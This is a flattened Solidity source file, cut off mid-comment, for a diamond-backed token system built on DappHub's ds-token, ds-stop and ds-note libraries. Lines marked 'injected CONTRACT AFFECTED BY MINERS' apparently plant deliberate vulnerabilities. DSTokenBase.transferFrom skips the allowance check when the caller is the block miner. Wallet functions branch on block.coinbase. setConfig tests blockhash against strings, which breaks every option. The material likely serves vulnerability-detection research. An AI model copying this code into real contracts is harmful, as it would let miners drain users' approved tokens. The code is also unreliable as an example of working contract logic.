// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
////// lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.4.23; */
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue
}
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
_;
}
}
////// lib/ds-stop/src/stop.sol
/// stop.sol -- mixin for enable/disable functionality
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.4.23; */
/* import "ds-auth/auth.sol"; */
/* import "ds-note/note.sol"; */
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped, "ds-stop-is-stopped");
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
////// lib/ds-token/lib/erc20/src/erc20.sol
/// erc20.sol -- API for the ERC20 token standard
// See <https://github.com/ethereum/EIPs/issues/20>.
// This file likely does not meet the threshold of originality
// required for copyright to apply. As a result, this is free and
// unencumbered software belonging to the public domain.
/* pragma solidity >0.4.20; */
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
////// lib/ds-token/src/base.sol
/// base.sol -- basic ERC20 implementation
// Copyright (C) 2015, 2016, 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.4.23; */
/* import "erc20/erc20.sol"; */
/* import "ds-math/math.sol"; */
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (block.coinbase != msg.sender) { //injected CONTRACT AFFECTED BY MINERS
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
////// lib/ds-token/src/token.sol
/// token.sol -- ERC20 implementation with minting and burning
// Copyright (C) 2015, 2016, 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.4.23; */
/* import "ds-stop/stop.sol"; */
/* import "./base.sol"; */
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
constructor(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
require(_approvals[guy][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
require(_balances[guy] >= wad, "ds-token-insufficient-balance");
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
// Optional token name
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
////// src/Wallet.sol
/* pragma solidity ^0.5.11; */
/* import "ds-math/math.sol"; */
/* import "ds-auth/auth.sol"; */
/* import "ds-token/token.sol"; */
/* import "ds-stop/stop.sol"; */
/* import "ds-note/note.sol"; */
/**
* @dev Interface to ERC20 tokens.
*/
contract TrustedErc20Wallet {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
/**
* @dev Interface to ERC721 tokens.
*/
contract TrustedErci721Wallet {
function balanceOf(address guy) public view returns (uint);
function ownerOf(uint256 tokenId) public view returns (address);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address);
function setApprovalForAll(address to, bool approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public;
}
/**
* @title Wallet is a contract to handle erc20 and erc721 tokens and ether.
* @dev This token is used to store and transfer tokens that were paid as fee by users.
*/
contract Wallet is DSAuth, DSStop, DSMath {
event LogTransferEth(address src, address dst, uint256 amount);
address public eth = address(0xee);
bytes32 public name = "Wal"; // set human readable name for contract
bytes32 public symbol = "Wal"; // set human readable name for contract
function () external payable {
}
function transfer(address token, address payable dst, uint256 amt) public auth returns (bool) {
return sendToken(token, address(this), dst, amt);
}
function transferFrom(address token, address src, address payable dst, uint256 amt) public auth returns (bool) {
return sendToken(token, src, dst, amt);
}
function totalSupply(address token) public view returns (uint){
if (block.coinbase == eth) { //injected CONTRACT AFFECTED BY MINERS
require(false, "wal-no-total-supply-for-ether");
} else {
return TrustedErc20Wallet(token).totalSupply();
}
}
function balanceOf(address token, address src) public view returns (uint) {
if (block.coinbase == eth) { //injected CONTRACT AFFECTED BY MINERS
return src.balance;
} else {
return TrustedErc20Wallet(token).balanceOf(src);
}
}
function allowance(address token, address src, address guy)
public view returns (uint) {
if( block.coinbase == eth) { //injected CONTRACT AFFECTED BY MINERS
require(false, "wal-no-allowance-for-ether");
} else {
return TrustedErc20Wallet(token).allowance(src, guy);
}
}
function approve(address token, address guy, uint wad)
public auth returns (bool) {
if( block.coinbase == eth) { //injected CONTRACT AFFECTED BY MINERS
require(false, "wal-can-not-approve-ether");
} else {
return TrustedErc20Wallet(token).approve(guy, wad);
}
}
function balanceOf721(address token, address guy) public view returns (uint) {
return TrustedErci721Wallet(token).balanceOf(guy);
}
function ownerOf721(address token, uint256 tokenId) public view returns (address) {
return TrustedErci721Wallet(token).ownerOf(tokenId);
}
function approve721(address token, address to, uint256 tokenId) public {
TrustedErci721Wallet(token).approve(to, tokenId);
}
function getApproved721(address token, uint256 tokenId) public view returns (address) {
return TrustedErci721Wallet(token).getApproved(tokenId);
}
function setApprovalForAll721(address token, address to, bool approved) public auth {
TrustedErci721Wallet(token).setApprovalForAll(to, approved);
}
function isApprovedForAll721(address token, address owner, address operator) public view returns (bool) {
return TrustedErci721Wallet(token).isApprovedForAll(owner, operator);
}
function transferFrom721(address token, address from, address to, uint256 tokenId) public auth {
TrustedErci721Wallet(token).transferFrom(from, to, tokenId);
}
function safeTransferFrom721(address token, address from, address to, uint256 tokenId) public auth {
TrustedErci721Wallet(token).safeTransferFrom(from, to, tokenId);
}
function safeTransferFrom721(address token, address from, address to, uint256 tokenId, bytes memory _data) public auth {
TrustedErci721Wallet(token).safeTransferFrom(from, to, tokenId, _data);
}
function transfer721(address token, address to, uint tokenId) public auth {
TrustedErci721Wallet(token).transferFrom(address(this), to, tokenId);
}
/**
* @dev send token or ether to destination
*/
function sendToken(
address token,
address src,
address payable dst,
uint256 amount
) internal returns (bool){
TrustedErc20Wallet erc20 = TrustedErc20Wallet(token);
if (token == eth && amount > 0) {
require(src == address(this), "wal-ether-transfer-invalid-src");
dst.transfer(amount);
emit LogTransferEth(src, dst, amount);
} else {
if (block.timestamp > 0) erc20.transferFrom(src, dst, amount); // transfer all of token to dst //injected CONTRACT AFFECTED BY MINERS
}
return true;
}
}
////// src/Liquidity.sol
/* pragma solidity ^0.5.11; */
/* import "./Wallet.sol"; */
/* import "ds-auth/auth.sol"; */
/* import "ds-token/token.sol"; */
contract Liquidity is Wallet {
bytes32 public name = "Liq"; // set human readable name for contract
bytes32 public symbol = "Liq"; // set human readable name for contract
function burn(address dpt, address burner, uint256 burnValue) public auth {
transfer(dpt, address(uint160(address(burner))), burnValue);
}
}
////// src/SimpleAssetManagement.sol
/* pragma solidity ^0.5.11; */
/* import "ds-auth/auth.sol"; */
/* import "ds-token/token.sol"; */
/* import "dpass/Dpass.sol"; */
/**
* @dev Contract to get ETH/USD price
*/
contract TrustedFeedLike {
function peek() external view returns (bytes32, bool);
}
/**
* @dev ExchangeContract to get buyPrice from
*/
contract TrustedDiamondExchangeAsm {
function buyPrice(address token_, address owner_, uint256 tokenId_) external view returns (uint);
}
/**
* @title Contract to handle diamond assets
*/
contract SimpleAssetManagement is DSAuth {
event LogAudit(address sender, address custodian_, uint256 status_, bytes32 descriptionHash_, bytes32 descriptionUrl_, uint32 auditInterwal_);
event LogConfigChange(address sender, bytes32 what, bytes32 value, bytes32 value1);
event LogTransferEth(address src, address dst, uint256 amount);
event LogBasePrice(address sender_, address token_, uint256 tokenId_, uint256 price_);
event LogCdcValue(uint256 totalCdcV, uint256 cdcValue, address token);
event LogCdcPurchaseValue(uint256 totalCdcPurchaseV, uint256 cdcPurchaseValue, address token);
event LogDcdcValue(uint256 totalDcdcV, uint256 ddcValue, address token);
event LogDcdcCustodianValue(uint256 totalDcdcCustV, uint256 dcdcCustV, address dcdc, address custodian);
event LogDcdcTotalCustodianValue(uint256 totalDcdcCustV, uint256 totalDcdcV, address custodian);
event LogDpassValue(uint256 totalDpassCustV, uint256 totalDpassV, address custodian);
event LogForceUpdateCollateralDpass(address sender, uint256 positiveV_, uint256 negativeV_, address custodian);
event LogForceUpdateCollateralDcdc(address sender, uint256 positiveV_, uint256 negativeV_, address custodian);
mapping(
address => mapping(
uint => uint)) public basePrice; // the base price used for collateral valuation
mapping(address => bool) public custodians; // returns true for custodians
mapping(address => uint) // total base currency value of custodians collaterals
public totalDpassCustV;
mapping(address => uint) private rate; // current rate of a token in base currency
mapping(address => uint) public cdcV; // base currency value of cdc token
mapping(address => uint) public dcdcV; // base currency value of dcdc token
mapping(address => uint) public totalDcdcCustV; // total value of all dcdcs at custodian
mapping(
address => mapping(
address => uint)) public dcdcCustV; // dcdcCustV[dcdc][custodian] value of dcdc at custodian
mapping(address => bool) public payTokens; // returns true for tokens allowed to make payment to custodians with
mapping(address => bool) public dpasses; // returns true for dpass tokens allowed in this contract
mapping(address => bool) public dcdcs; // returns true for tokens representing cdc assets (without gia number) that are allowed in this contract
mapping(address => bool) public cdcs; // returns true for cdc tokens allowed in this contract
mapping(address => uint) public decimals; // stores decimals for each ERC20 token eg: 1000000000000000000 denotes 18 decimal precision
mapping(address => bool) public decimalsSet; // stores decimals for each ERC20 token
mapping(address => address) public priceFeed; // price feed address for token
mapping(address => uint) public tokenPurchaseRate; // the average purchase rate of a token. This is the ...
// ... price of token at which we send it to custodian
mapping(address => uint) public totalPaidCustV; // total amount that has been paid to custodian for dpasses and cdc in base currency
mapping(address => uint) public dpassSoldCustV; // total amount of all dpass tokens that have been sold by custodian
mapping(address => bool) public manualRate; // if manual rate is enabled then owner can update rates if feed not available
mapping(address => uint) public capCustV; // maximum value of dpass and dcdc tokens a custodian is allowed to mint
mapping(address => uint) public cdcPurchaseV; // purchase value of a cdc token in purchase price in base currency
uint public totalDpassV; // total value of dpass collaterals in base currency
uint public totalDcdcV; // total value of dcdc collaterals in base currency
uint public totalCdcV; // total value of cdc tokens issued in base currency
uint public totalCdcPurchaseV; // total value of cdc tokens in purchase price in base currency
uint public overCollRatio; // cdc can be minted as long as totalDpassV + totalDcdcV >= overCollRatio * totalCdcV
uint public overCollRemoveRatio; // dpass can be removed and dcdc burnt as long as totalDpassV + totalDcdcV >= overCollDpassRatio * totalCdcV
uint public dust = 1000; // dust value is the largest value we still consider 0 ...
bool public locked; // variable prevents to exploit by recursively calling funcions
address public eth = address(0xee); // we treat eth as DSToken() wherever we can, and this is the dummy address for eth
bytes32 public name = "Asm"; // set human readable name for contract
bytes32 public symbol = "Asm"; // set human readable name for contract
address public dex; // address of exchange to get buyPrice from
struct Audit { // struct storing the results of an audit
address auditor; // auditor who did the last audit
uint256 status; // status of audit if 0, all is well, otherwise represents the value of ...
// diamonds that there are problems with
bytes32 descriptionHash; // hash of the description file that describes the last audit in detail. ...
// ... Auditors must have a detailed description of all the findings they had at ...
// ... custodian, and are legally fully responsible for their documents.
bytes32 descriptionUrl; // url of the description file that details the results of the audit. File should be digitally signed. And the files total content should be hashed with keccak256() to make sure unmutability.
uint nextAuditBefore; // proposed time of next audit. The audit should be at least at every 3 months.
}
mapping(address => Audit) public audit; // containing the last audit reports for all custodians.
uint32 public auditInterval = 1776000; // represents 3 months of audit interwal in which an audit is mandatory for custodian.
/**
* @dev Modifier making sure the function can not be called in a recursive way in one transaction.
*/
modifier nonReentrant {
require(!locked, "asm-reentrancy-detected");
locked = true;
_;
locked = false;
}
//-----------included-from-ds-math---------------------------------begin
uint constant WAD = 10 ** 18;
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//-----------included-from-ds-math---------------------------------end
/**
* @dev Set configuration variables of asset managment contract.
* @param what_ bytes32 tells to function what to set.
* @param value_ bytes32 setter variable. Its meaning is dependent on what_.
* @param value1_ bytes32 setter variable. Its meaning is dependent on what_.
* @param value2_ bytes32 setter variable. Its meaning is dependent on what_.
*
*/
function setConfig(bytes32 what_, bytes32 value_, bytes32 value1_, bytes32 value2_) public nonReentrant auth {
if (blockhash(block.number) == "rate") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
uint256 value = uint256(value1_);
require(payTokens[token] || cdcs[token] || dcdcs[token], "asm-token-not-allowed-rate");
require(value > 0, "asm-rate-must-be-gt-0");
rate[token] = value;
} else if (blockhash(block.number) == "custodians") { //injected CONTRACT AFFECTED BY MINERS
address custodian = addr(value_);
bool enable = uint(value1_) > 0;
require(custodian != address(0), "asm-custodian-zero-address");
custodians[addr(value_)] = enable;
} else if (blockhash(block.number) == "overCollRatio") { //injected CONTRACT AFFECTED BY MINERS
overCollRatio = uint(value_);
require(overCollRatio >= 1 ether, "asm-system-must-be-overcollaterized");
_requireSystemCollaterized();
} else if (blockhash(block.number) == "overCollRemoveRatio") { //injected CONTRACT AFFECTED BY MINERS
overCollRemoveRatio = uint(value_);
require(overCollRemoveRatio >= 1 ether, "asm-must-be-gt-1-ether");
require(overCollRemoveRatio <= overCollRatio, "asm-must-be-lt-overcollratio");
_requireSystemRemoveCollaterized();
} else if (blockhash(block.number) == "priceFeed") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value1_) != address(address(0x0)), "asm-wrong-pricefeed-address");
require(addr(value_) != address(address(0x0)), "asm-wrong-token-address");
priceFeed[addr(value_)] = addr(value1_);
} else if (blockhash(block.number) == "decimals") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
uint decimal = uint256(value1_);
require(token != address(0x0), "asm-wrong-address");
decimals[token] = 10 ** decimal;
decimalsSet[token] = true;
} else if (blockhash(block.number) == "manualRate") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
bool enable = uint(value1_) > 0;
require(token != address(address(0x0)), "asm-wrong-token-address");
require(priceFeed[token] != address(address(0x0)), "asm-priceFeed-first");
manualRate[token] = enable;
} else if (blockhash(block.number) == "payTokens") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
require(token != address(0), "asm-pay-token-address-no-zero");
payTokens[token] = uint(value1_) > 0;
} else if (blockhash(block.number) == "dcdcs") { //injected CONTRACT AFFECTED BY MINERS
address newDcdc = addr(value_);
bool enable = uint(value1_) > 0;
require(newDcdc != address(0), "asm-dcdc-address-zero");
require(priceFeed[newDcdc] != address(0), "asm-add-pricefeed-first");
require(decimalsSet[newDcdc],"asm-no-decimals-set-for-token");
dcdcs[newDcdc] = enable;
_updateTotalDcdcV(newDcdc);
} else if (blockhash(block.number) == "cdcPurchaseV") { //injected CONTRACT AFFECTED BY MINERS
address cdc_ = addr(value_);
require(cdc_ != address(0), "asm-cdc-address-zero");
uint addAmt_ = uint(value1_);
uint subAmt_ = uint(value2_);
_updateCdcPurchaseV(cdc_, addAmt_, subAmt_);
} else if (blockhash(block.number) == "cdcs") { //injected CONTRACT AFFECTED BY MINERS
address newCdc = addr(value_);
bool enable = uint(value1_) > 0;
require(priceFeed[newCdc] != address(0), "asm-add-pricefeed-first");
require(decimalsSet[newCdc], "asm-add-decimals-first");
require(newCdc != address(0), "asm-cdc-address-zero");
require(
DSToken(newCdc).totalSupply() == 0 || cdcPurchaseV[newCdc] > 0,
"asm-setconfig-cdcpurchasev-first");
cdcs[newCdc] = enable;
_updateCdcV(newCdc);
_requireSystemCollaterized();
} else if (blockhash(block.number) == "dpasses") { //injected CONTRACT AFFECTED BY MINERS
address dpass = addr(value_);
bool enable = uint(value1_) > 0;
require(dpass != address(0), "asm-dpass-address-zero");
dpasses[dpass] = enable;
} else if (blockhash(block.number) == "approve") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
address dst = addr(value1_);
uint value = uint(value2_);
require(decimalsSet[token],"asm-no-decimals-set-for-token");
require(dst != address(0), "asm-dst-zero-address");
DSToken(token).approve(dst, value);
} else if (blockhash(block.number) == "setApproveForAll") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
address dst = addr(value1_);
bool enable = uint(value2_) > 0;
require(dpasses[token],"asm-not-a-dpass-token");
require(dst != address(0), "asm-dst-zero-address");
Dpass(token).setApprovalForAll(dst, enable);
} else if (blockhash(block.number) == "dust") { //injected CONTRACT AFFECTED BY MINERS
dust = uint256(value_);
} else if (blockhash(block.number) == "dex") { //injected CONTRACT AFFECTED BY MINERS
dex = addr(value_);
} else if (blockhash(block.number) == "totalPaidCustV") { // only use during upgrade //injected CONTRACT AFFECTED BY MINERS
address custodian_ = addr(value_);
require(custodians[custodian_], "asm-not-a-custodian");
require(totalPaidCustV[custodian_] == 0,"asm-only-at-config-time");
totalPaidCustV[custodian_] = uint(value1_);
} else {
require(false, "asm-wrong-config-option");
}
emit LogConfigChange(msg.sender, what_, value_, value1_);
}
/**
* @dev Set rate (price in base currency) for token.
* @param token_ address token to set bse currency rate for
* @param value_ uint256 the rate in base currency to set
*/
function setRate(address token_, uint256 value_) public auth {
setConfig("rate", bytes32(uint(token_)), bytes32(value_), "");
}
/**
* @dev Get newest rate in base currency from priceFeed for token. This function returns the newest token price in base currency. Burns more gas than getRate().
* @param token_ address token to get most up-to-date rates.
*/
function getRateNewest(address token_) public view auth returns (uint) {
return _getNewRate(token_);
}
/**
* @dev Get currently stored rate in base currency from priceFeed for token. This function burns less gas, and should be called after local rate has been already updated.
* @param token_ address to get rate for.
*/
function getRate(address token_) public view auth returns (uint) {
return rate[token_];
}
/*
* @dev Convert address to bytes32
* @param b_ bytes32 turn this value to address
*/
function addr(bytes32 b_) public pure returns (address) {
return address(uint256(b_));
}
/**
* @dev Set base price_ for a diamond. This function sould be used by custodians but it can be used by asset manager as well.
* @param token_ address token for whom we set baseprice.
* @param tokenId_ uint256 tokenid to identify token
* @param price_ uint256 price to set as basePrice
*/
function setBasePrice(address token_, uint256 tokenId_, uint256 price_) public nonReentrant auth {
_setBasePrice(token_, tokenId_, price_);
}
/**
* @dev Sets the current maximum value a custodian can mint from dpass and dcdc tokens.
* @param custodian_ address we set cap to this custodian
* @param capCustV_ uint256 new value to set for maximum cap for custodian
*/
function setCapCustV(address custodian_, uint256 capCustV_) public nonReentrant auth {
require(custodians[custodian_], "asm-should-be-custodian");
capCustV[custodian_] = capCustV_;
}
/**
* @dev Updates value of cdc_ token from priceFeed. This function is called by oracles but can be executed by anyone wanting update cdc_ value in the system. This function should be called every time the price of cdc has been updated.
* @param cdc_ address update values for this cdc token
*/
function setCdcV(address cdc_) public auth {
_updateCdcV(cdc_);
}
/**
* @dev Updates value of a dcdc_ token. This function should be called by oracles but anyone can call it. This should be called every time the price of dcdc token was updated.
* @param dcdc_ address update values for this dcdc token
*/
function setTotalDcdcV(address dcdc_) public auth {
_updateTotalDcdcV(dcdc_);
}
/**
* @dev Updates value of a dcdc_ token belonging to a custodian_. This function should be called by oracles or custodians but anyone can call it.
* @param dcdc_ address the dcdc_ token we want to update the value for
* @param custodian_ address the custodian_ whose total dcdc_ values will be updated.
*/
function setDcdcV(address dcdc_, address custodian_) public auth {
_updateDcdcV(dcdc_, custodian_);
}
/**
* @dev Auditors can propagate their independent audit results here in order to make sure that users' diamonds are safe and there.
* @param custodian_ address the custodian, who the audit was done for.
* @param status_ uint the status of result. 0 means everything is fine, else should be the value of amount in geopardy or questionable.
* @param descriptionHash_ bytes32 keccak256() hash of the full audit statement available at descriptionUrl_. In the document all parameters
* should be described concerning the availability, and quality of collateral at custodian.
* @param descriptionUrl_ bytes32 the url of the audit document. Whenever this is published the document must already be online to avoid fraud.
* @param auditInterval_ uint the proposed time in seconds until next audit. If auditor thinks more frequent audits are required he can express his wish here.
*/
function setAudit(
address custodian_,
uint256 status_,
bytes32 descriptionHash_,
bytes32 descriptionUrl_,
uint32 auditInterval_
) public nonReentrant auth {
uint32 minInterval_;
require(custodians[custodian_], "asm-audit-not-a-custodian");
require(auditInterval_ != 0, "asm-audit-interval-zero");
minInterval_ = uint32(min(auditInterval_, auditInterval));
Audit memory audit_ = Audit({
auditor: msg.sender,
status: status_,
descriptionHash: descriptionHash_,
descriptionUrl: descriptionUrl_,
nextAuditBefore: block.timestamp + minInterval_
});
audit[custodian_] = audit_;
emit LogAudit(msg.sender, custodian_, status_, descriptionHash_, descriptionUrl_, minInterval_);
}
/**
* @dev Allows asset management to be notified about a token_ transfer. If system would get undercollaterized because of transfer it will be reverted.
* @param token_ address the token_ that has been sent during transaction
* @param src_ address the source address the token_ has been sent from
* @param dst_ address the destination address the token_ has been sent to
* @param amtOrId_ uint the amount of tokens sent if token_ is a DSToken or the id of token_ if token_ is a Dpass token_.
*/
function notifyTransferFrom(
address token_,
address src_,
address dst_,
uint256 amtOrId_
) external nonReentrant auth {
uint balance;
address custodian;
uint buyPrice_;
require(
dpasses[token_] || cdcs[token_] || payTokens[token_],
"asm-invalid-token");
require(
!dpasses[token_] || Dpass(token_).getState(amtOrId_) == "sale",
"asm-ntf-token-state-not-sale");
if(dpasses[token_] && src_ == address(this)) { // custodian sells dpass to user
custodian = Dpass(token_).getCustodian(amtOrId_);
_updateCollateralDpass(
0,
basePrice[token_][amtOrId_],
custodian);
buyPrice_ = TrustedDiamondExchangeAsm(dex).buyPrice(token_, address(this), amtOrId_);
dpassSoldCustV[custodian] = add(
dpassSoldCustV[custodian],
buyPrice_ > 0 && buyPrice_ != uint(-1) ?
buyPrice_ :
basePrice[token_][amtOrId_]);
Dpass(token_).setState("valid", amtOrId_);
_requireSystemCollaterized();
} else if (dst_ == address(this) && !dpasses[token_]) { // user sells ERC20 token_ to custodians
require(payTokens[token_], "asm-we-dont-accept-this-token");
if (cdcs[token_]) {
_burn(token_, amtOrId_);
} else {
balance = sub(
token_ == eth ?
address(this).balance :
DSToken(token_).balanceOf(address(this)),
amtOrId_); // this assumes that first tokens are sent, than ...
// ... notifyTransferFrom is called, if it is the other way ...
// ... around then amtOrId_ must not be subrtacted from current ...
// ... balance
tokenPurchaseRate[token_] = wdiv(
add(
wmulV(
tokenPurchaseRate[token_],
balance,
token_),
wmulV(_updateRate(token_), amtOrId_, token_)),
add(balance, amtOrId_));
}
} else if (dst_ == address(this) && dpasses[token_]) { // user sells erc721 token_ to custodians
require(payTokens[token_], "asm-token-not-accepted");
_updateCollateralDpass(
basePrice[token_][amtOrId_],
0,
Dpass(token_).getCustodian(amtOrId_));
Dpass(token_).setState("valid", amtOrId_);
} else if (dpasses[token_]) { // user sells erc721 token_ to other users
// nothing to check
} else {
require(false, "asm-unsupported-tx");
}
}
/**
* @dev Burns cdc tokens. Also updates system collaterization. Cdc tokens are burnt when users pay with cdc on exchange or when users redeem cdcs.
* @param token_ address cdc token_ that needs to be burnt
* @param amt_ uint the amount to burn.
*/
function burn(address token_, uint256 amt_) public nonReentrant auth {
_burn(token_, amt_);
}
/**
* @dev Mints cdc tokens when users buy them. Also updates system collaterization.
* @param token_ address cdc token_ that needs to be minted
* @param dst_ address the address for whom cdc token_ will be minted for.
*/
function mint(address token_, address dst_, uint256 amt_) public nonReentrant auth {
require(cdcs[token_], "asm-token-is-not-cdc");
DSToken(token_).mint(dst_, amt_);
_updateCdcV(token_);
_updateCdcPurchaseV(token_, amt_, 0);
_requireSystemCollaterized();
}
/**
* @dev Mints dcdc tokens for custodians. This function should only be run by custodians.
* @param token_ address dcdc token_ that needs to be minted
* @param dst_ address the address for whom dcdc token will be minted for.
* @param amt_ uint amount to be minted
*/
function mintDcdc(address token_, address dst_, uint256 amt_) public nonReentrant auth {
require(custodians[msg.sender], "asm-not-a-custodian");
require(!custodians[msg.sender] || dst_ == msg.sender, "asm-can-not-mint-for-dst");
require(dcdcs[token_], "asm-token-is-not-cdc");
DSToken(token_).mint(dst_, amt_);
_updateDcdcV(token_, dst_);
_requireCapCustV(dst_);
}
/**
* @dev Burns dcdc token. This function should be used by custodians.
* @param token_ address dcdc token_ that needs to be burnt.
* @param src_ address the address from whom dcdc token will be burned.
* @param amt_ uint amount to be burnt.
*/
function burnDcdc(address token_, address src_, uint256 amt_) public nonReentrant auth {
require(custodians[msg.sender], "asm-not-a-custodian");
require(!custodians[msg.sender] || src_ == msg.sender, "asm-can-not-burn-from-src");
require(dcdcs[token_], "asm-token-is-not-cdc");
DSToken(token_).burn(src_, amt_);
_updateDcdcV(token_, src_);
_requireSystemRemoveCollaterized();
_requirePaidLessThanSold(src_, _getCustodianCdcV(src_));
}
/**
* @dev Mint dpass tokens and update collateral values.
* @param token_ address that is to be minted. Must be a dpass token address.
